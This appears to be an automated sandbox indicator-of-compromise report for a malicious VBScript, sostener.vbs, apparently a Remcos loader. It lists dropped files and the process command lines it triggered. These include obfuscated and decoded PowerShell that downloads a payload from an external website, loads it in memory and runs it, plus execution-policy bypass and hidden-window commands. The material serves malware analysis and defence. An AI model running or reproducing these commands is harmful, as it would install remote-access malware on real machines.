IOC Report
sostener.vbs

sostener.vbs

Unicode text, UTF-16, little-endian text, with CRLF line terminators

initial sample

C:\ProgramData\remcos\logs.dat

data

dropped

C:\Users\user\AppData\Local\Temp\sostener.vbs

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\sostener.vbs:Zone.Identifier

ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\xx1.ps1

ASCII text, with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\xx2.vbs

ASCII text, with CRLF line terminators

dropped

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bi Gk awB5 Gc I 9 C Jw w DE Mw n Ds J Br G4 dwBt Hg I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu HU c Bj HM I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu HU c Bj HM KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 cwBv GM bQBl HI Lw 3 D Lw 0 DI M y C8 cwBk GE bwBs H dQ v HQ bgBl HQ bgBv GM LQBw Hc LwBt G8 Yw u GE bgB1 HQ cgBv H bwBu G8 aQBj GE bQBy G8 ZgBu Gk LgB3 Hc dw v C8 OgBz H d B0 Gg Jw g Cw I k Gs bgB3 G0 e g Cw I n F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 Xw t C0 LQ t C0 LQ t C0 LQ t C0 LQ t Cc L g CQ YgBp Gs eQBn Cw I n DE Jw s C JwBS G8 Z Bh Cc I p Ck Ow =';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$bikyg = '013';$knwmx = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nupcs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nupcs).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.socmer/70/4202/sdaolpu/tnetnoc-pw/moc.anutroponoicamrofni.www//:sptth' , $knwmx , '_______________________-------------', $bikyg, '1', 'Roda' ));"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "